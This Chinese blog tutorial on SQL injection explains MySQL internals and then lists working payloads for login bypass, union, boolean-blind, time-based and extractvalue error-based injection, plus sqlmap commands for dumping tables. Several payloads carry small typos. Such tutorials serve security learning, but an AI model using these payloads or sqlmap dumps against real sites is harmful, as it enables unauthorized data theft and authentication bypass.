SQL注入漏洞

一.SQL注入漏洞描述

  SQL注入漏洞是一种常见的web应用程序安全漏洞,攻击者可利用这种漏洞来篡改或绕过应用程序的身份验证和授权机制,从而访问或控制数据库中的数据。 在SQL注入攻击中,攻击者向应程序发送恶意输入数据,这些输入数据被解释为SQL查询或命令,并可以执行数据库中的任意操作。要防止SQL注入漏洞,可以使用预编译语句和参数化查询等安全编码技术,以及正确的输入验证和过滤措施。此外,您可以为应用程序实施安全的开发最佳实践,例如最小权限原则和及时打补丁等。

二.SQL注入的危害

1.数据库破坏:攻击者可以通过注入恶意代码修改、删除或破坏数据库中的数据。这可能导致数据的永久丢失、数据库的不一致性或不可用性。

2.数据泄露:攻击者可以利用注入漏洞查询数据库中的敏感信息,如用户的个人身份信息、密码、信用卡号码等,进而导致个人隐私泄露、身份盗用、财务损失等。

3.身份认证绕过:通过SQL注入攻击,攻击者可能能够绕过身份验证或访问控制机制,以管理员身份执行未经授权的操作。

4.操作系统攻击:SQL注入还可以用于执行操作系统命令,攻击者可以通过注入系统命令执行恶意操作,例如删除文件、创建后门、操纵服务器等。

5.DoS攻击:攻击者可以利用SQL注入漏洞发动拒绝服务(DoS)攻击,通过注入大量恶意代码或查询,占用数据库资源导致系统崩溃或变得不可用

三.MYSQL数据库

1)information_schema库

information_schema库包含了四个主要的表:

1.TABLES:存储数据库中所有表的元信息。

2.COLUMNS:存储数据库中所有表的列信息。

3.SCHEMATA:存储所有数据库的信息。

4.STATISTICS:存储有关表索引、主键和外键等的统计信息。

2)MySQL数据库的增删改查

#增

insert into 表名 values("数据1","数据2",...);

insert into 表名 (字段名称1,字段名称2,...) values ("数据1","数据2",...);

#删

delete from 表名;

delete from 表名 where id=1;

#改

update 表名 set 字段名称="新的值",字段名称="新的值";

update 表名 set 字段名称="新的值",字段名称="新的值" where id=1;

#查

select * from 表名;

select 字段名称1,字段名称2 from 表名 where id=1;

3)MYSQL常用的函数

#系统函数

select version()     #显示数据库版本

select user()          #数据库用户名

select database()   #数据库名

select @@datadir  #数据库路径

select @@version——compile_os  #操作系统版本

4)用于尝试的语句

or 1=1--+

'or 1=1--+

''or 1=1--+

)or 1=1--+

')or 1=1--+

'')or 1=1 --+

''))or 1=1 --+

四.SQL注入漏洞的分类

1.基于错误的SQL注入:攻击者通过向应用程序中注入SQL语句来生成错误消息,从而获得有关应用程序的敏感信息。

2.基于盲注的SQL注入:攻击者通过不断地发送SQL语句并根据应用程序的响应来推断SQL查询的结果。

3.基于联合查询注入的SQL注入:攻击者可以利用应用程序中的联合查询功能,通过修改查询来访问或修改数据库中的数据。

4.基于时间的SQL注入:攻击者可以利用应用程序中的时间函数,通过延长SQL查询的响应时间来推断SQL查询的结果。

5.登录绕过攻击:攻击者通过通过输入恶意的用户名和密码,利用SQL注入漏洞来绕过应用程序的身份验证机制。

6.目录遍历攻击:攻击者可以利用应用程序中的文件上传和下载功能,通过注入SQL查询来绕过应用程序安全机制,访问非授权的文件或目录。

1)联合注入

联合注入是一种常见的针对数据库的注入攻击技术之一。它利用了应用程序对于用户输入的不正确处理,通过在SQL查询中使用联合操作符来获取额外的数据。

SELECT column1, column2 FROM table1 WHERE id = '1' UNION SELECT table_name, column_name FROM information_schema.columns --   
#第一个查询是正常的,选择了 column1 和 column2 的数据,条件为 id 等于 ‘1’。第二个查询是联合查询,选择了 information_schema.columns 表中的 table_name 和 column_name。注入位置的后面加上 ’ UNION SELECT table_name, column_name FROM information_schema.columns --'。“–” 是注释符,这样注入后的查询将忽略原始查询的余下部分。
联合注入
联合查询库
union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+    
联合查询表
union select group_concat(table_name) from information_schema.tables where table_schema='库名'--+
联合查询字段
union select group_concat(column_name) from information_schema.columns where table_name='表名'and table_schema='库名'--+
联合查询字段值
union select group_concat(字段1,字段2,字段3) from 库名,表名--+
2)布尔注入

布尔注入 是一种基于布尔值相应的技术,利用了应用程序在响应 SQL 查询结果时对于不同响应的处理方式。攻击者可以通过布尔注入技术来确定或推断 SQL 查询中的条件语句是否为真,从而收集敏感数据。

SELECT * FROM users WHERE username = 'admin' AND 1=1 --

#  将条件修改为了 1=1,这是一个始终为真的条件。通过这种方式,攻击者可以绕过原始查询的条件约束,并获取指定用户名为 ‘admin’ 的用户的数据。

1.爆破长度
length((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA))>9--+
2.逐个爆字符值
ascii(substr((select group_concat(SCHEMA_NAME)from information_schema.SCHEMATA),1,1))=115--+

3)时间注入

时间注入是一种基于时间延迟的注入攻击技术。在许多情况下,攻击者可以通过应用程序中延迟或暂停操作的方式,来推断出操作成功或失败的结果,并通过不同的时间响应来做出判断。攻击者可以利用这种技巧,来推断出数据库中的敏感信息。

' OR IF(SLEEP(5), 1, 0) --    
# payload 是在用户输入的参数中注入的,通过在查询语句的末尾添加 ' OR IF(SLEEP(5), 1, 0) --。这个 payload 使用 SLEEP 函数来引入 5 秒钟的延迟。

时间盲注
1.判断sleep函数是否生效
if(1=1,sleep(5),1)--+
2.爆长度
if(length((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA))>9,sleep(5),1)--+
3.逐个爆字符值
if(ascii(substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,1))=115,sleep(5),1)--+

4)报错注入

报错注入是一种利用应用程序返回的错误信息来推断数据库状态和信息的注入攻击技术。攻击者通过向应用程序传递恶意查询语句来触发程序错误,从而获得敏感信息。

假设我们有一个应用程序,执行以下 SQL 查询来获取用户的个人信息:

SELECT * FROM users WHERE username = '[username]' AND password = '[password]'

攻击者可以尝试在 username 或 password 参数中注入恶意代码来触发报错信息,进而获取敏感信息。
示例 payload 如下:

' OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --

在这个示例中,payload 是通过在输入参数中注入的,并且利用注入的查询条件来触发报错信息,以获取数据库的版本号。

extractvalue报错注入
获取数据库名
id) and (extractvalue(1,concat(0x5c,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),0x5c)))--+
分页查询:id) and (extractvalue(1.concat(0x5c,(select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1),0x5c)))--+
获取表名
and (extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x5c)))--+
获取字段名
and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x5c)))--+
获取字段值
and (extractvalue(1,concat(0x5c,(select group_concat(字段1,字段2,...)from users),0x5c)))--+

5)二次注入

二次注入(Second-Order Injection)是一种注入攻击,攻击者通过在应用程序中使用受到攻击的数据 (如用户输入或错误日志)来生成并提交恶意数据,而不是使用直接的通道。

五.sqlmap使用

探测目标 (常用探测)
1.sqlmap -u 目标url+get参数
2.sqlmap -r 流量包文件
获取数据库名
sqlmap -u 目标url -dbs
获取表名
sqlmap -u 目标 -D 库名 -tables
获取字段名
sqlmap -u 目标 -D 库名 - T 表名 -columns
获取字段值
sqlmap -u 目标 -D 库名 -T 表名 --dump #获取全部
sqlmap -u 目标 -D 库名 -T 表名 -C "字段1,字段2,..." --dump #获取指定

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值